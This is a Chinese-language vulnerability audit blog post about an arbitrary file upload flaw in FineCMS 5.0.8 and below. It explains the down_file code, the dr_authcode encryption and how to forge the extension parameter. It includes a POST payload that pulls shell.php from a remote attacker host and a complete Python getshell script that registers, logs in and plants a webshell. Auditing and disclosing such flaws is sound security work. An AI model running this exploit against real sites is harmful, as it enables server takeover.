前言
这几天都挺忙的,刚开学也在做比赛的培训,每天一洞这个事情一定得坚持下去,跟着上次的finecms,在漏洞时代
又找了一个漏洞来审计。但是他改了函数里面的传参,我也弄了一阵子才搞明白这个传参原来需要加密过的参数,还有就是这个远程下载再上传,有个小问题,那篇文章没有说明,等下再系统说下。
漏洞详情
代码位置和代码
- 位置
\finecms\dayrui\controllers\member\Api.php
- 代码
public function down_file() {
$p = array();
$url = explode('&', $this->input->post('url'));
//经过& 分割
foreach ($url as $t) {
$item = explode('=', $t);
$p[$item[0]] = $item[1];
}
//经过 = 分割
!$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
//对$p['code'] 进行解码
list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));
//得到尺寸和后缀
$path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
!is_dir($path) && dr_mkdirs($path);
$furl = $this->input->post('file');
$file = dr_catcher_data($furl);
//dr_catcher_data 是读取远程文件
!$file && exit(dr_json(0, '获取远程文件失败'));
$fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
!@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
$filename = substr(md5(time()), 0, 7).rand(100, 999);
if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
$info = array(
'file_ext' => '.'.$fileext,
'full_path' => $path.$filename.'.'.$fileext,
'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
'client_name' => '',
);
执行过程
Payload代码
http://finecmstest.com/index.php?s=member&c=api&m=down_file
POST:url=code=d628NBt44h5NLBYyi2QIPBI37HOHqQJz/JvPubFBaG5c&file=http://192.168.232.128/shell.php
执行结果
分析过程
老样子,挑重要的代码来读,跟着我的思路能读懂这段函数的流程。
$p = array();
创建一个数组,为下面的遍历赋值所用。$url = explode('&', $this->input->post('url'));
接收url参数的值,explode
这个函数就不用多说了,用于把字符串转换成数组,以&
分割为一个数组。foreach ($url as $t) {$item = explode('=', $t);$p[$item[0]] = $item[1];}
这一段遍历就是把上面的数组赋值给$p变量。!$this->uid && exit(dr_json(0,fc_lang('抱歉!游客不允许上传附件')));
判断是否登录
$p = array();
$url = explode('&', $this->input->post('url'));
foreach ($url as $t) {
$item = explode('=', $t);
$p[$item[0]] = $item[1];
}
!$this->uid && exit(dr_json(0, fc_lang('抱歉!游客不允许上传附件')));
- 这段用了
list
函数,就是把explode
的三个值赋值给$size, $ext, $path
, 当中用了dr_authcode
这个函数,跟进了一下这个函数在\finecms\dayrui\helpers\function_helper.php
里面,是一段discuz加密/解密的函数,这个函数主要看的是$key = md5($key ? $key : SYS_KEY);
和$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string . $keyb), 0, 16) . $string;$string_length = strlen($string);
这两句,SYS_KEY
这个值在上一篇文章看过了,值是固定的,所以不用理会。下来一句就是如果$operation == ‘DECODE’那就解密,如果不等于DECODE那就加密。
list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));
dr_authcode函数代码:
function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
if (!$string) {
return '';
}
$ckey_length = 4;
$key = md5($key ? $key : SYS_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
- 这段代码就是生成文件的路径,
dr_mkdirs
在上一篇的已经解释过了,生成的目录是日期。
$path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
!is_dir($path) && dr_mkdirs($path);
- 继续下面这段,
$furl
是获取file参数的值,dr_catcher_data
这个函数可以跟进看下,只要是获取远程文件的内容的。如果远程文件没有内容就获取失败。
$furl = $this->input->post('file');
$file = dr_catcher_data($furl);
!$file && exit(dr_json(0, '获取远程文件失败'));
- 这段是判断扩展名的,在这里也说下这几个函数的作用吧,
strrchr
是把$ful
的内容中.后面的值和.一起提取出来;substr
返回字符串中1-10的字符串,也就是说刚才提取出来的扩展名.php
从1开始只要php;trim
去掉两边的空格;strtolower
把字符串全部变成小写。 再下来这句就是判断上传的文件的扩展名$fileext
是否在$ext
里面。
$fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
!@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
- 这段的内容就是写文件了,文件名是随机的。
$filename = substr(md5(time()), 0, 7).rand(100, 999);
if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
$info = array(
'file_ext' => '.'.$fileext,
'full_path' => $path.$filename.'.'.$fileext,
'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
'client_name' => '',
);
构造扩展名参数
这块内容可以另外当作一节来讲,重新来理顺刚才讲的代码流程就能知道如何来构造扩展名的参数。
我们逆过来看:
1.判断$ext
里面的扩展名
2.$ext
变量获取在$p['code']
数组里面
3.$p['code']
要经过dr_authcode
函数的解密
4.$p['code']
又是从$url数组里面提取出来
所以这里我们可以看到$ext
是可控的,而我们要传入加密的$p['code']
,我们用dr_authcode
加密一遍就行了,在程序里面加入这句代码echo dr_authcode("|php","a");
就可以得出加密的值,这个a可以写任意值,只要不写DECODE
就行了。|php
加密这个就是为了list
这个函数的作用。
$url = explode('&', $this->input->post('url'));
foreach ($url as $t) {
$item = explode('=', $t);
$p[$item[0]] = $item[1];
}
!$this->uid && exit(dr_json(0, fc_lang('抱歉!游客不允许上传附件')));
//echo dr_authcode("|php","a");
list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));
$fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
!@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
构造出url的参数为:url=code=ad3eXTkH4Wt084pW46p7DBSt1KX0FwthAs4o9oBH8WVi
构造file参数
构造代码:file=http://192.168.232.128/shell.php
事情没有想得那么简单,这个函数的作用是下载然后再上传,它只是获取显示出来的html的内容然后把这些内容下载下来。所以我们直接在远程服务器写php文件是不可行的。 远程的服务器有一个要求,就是不解析PHP文件,不解析,不就把内容显示出来了么。 最简单的方法就是用装一个apache写一个php文件就行了。
用Python写Getshell脚本
写这个脚本也是要注册登录获取登录后的状态再getshell
finecms_down_file.py
'''
author:F0rmat
'''
import sys
import random
import requests
import json
import time
def exploit(target,rtarget):
username = random.randint(0, 999999)
seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
email = []
for i in range(8):
email.append(random.choice(seed))
email = ''.join(email)
# step 1 register
register_url = target + "/index.php?s=member&c=register&m=index"
register_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[password2]": "123456",
"data[email]": email + "@" + email + ".com"}
# step 2 login
login_url = target + "/index.php?s=member&c=login&m=index"
login_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[auto]": "1"}
url = target+"/index.php?s=member&c=api&m=down_file"
payload = {"url":"code=ad3eXTkH4Wt084pW46p7DBSt1KX0FwthAs4o9oBH8WVi","file":rtarget}
# step 3 start hacking"
s = requests.session()
s.post(register_url, data=register_payload)
s.post(login_url, data=login_payload)
res=s.post(url,data=payload).content
hjson = json.loads(res)
if "php" in res:
print "shell:"+target+"/uploadfile/"+time.strftime("%Y%m")+"/"+hjson['name']
else:
print "failure"
if len(sys.argv)<5:
print 'python down_file_getshell.py -h http://127.0.0.1 -r http://10.0.0.1/shell.php'
else:
target = sys.argv[2]
rtarget = sys.argv[4]
exploit(target,rtarget)
结束
02:13:53
为了赶这篇文章现在已经深夜了,为了实现自己的承诺,坚持下去!
参考
http://0day5.com/archives/4405/
https://github.com/F0r3at/Python-Tools/blob/master/finecms/down_file_getshell.py
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/kill-the-vulnerabilities-of-getshell-v.-finecms-5.0.8-and-below-1-hole-per-day.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。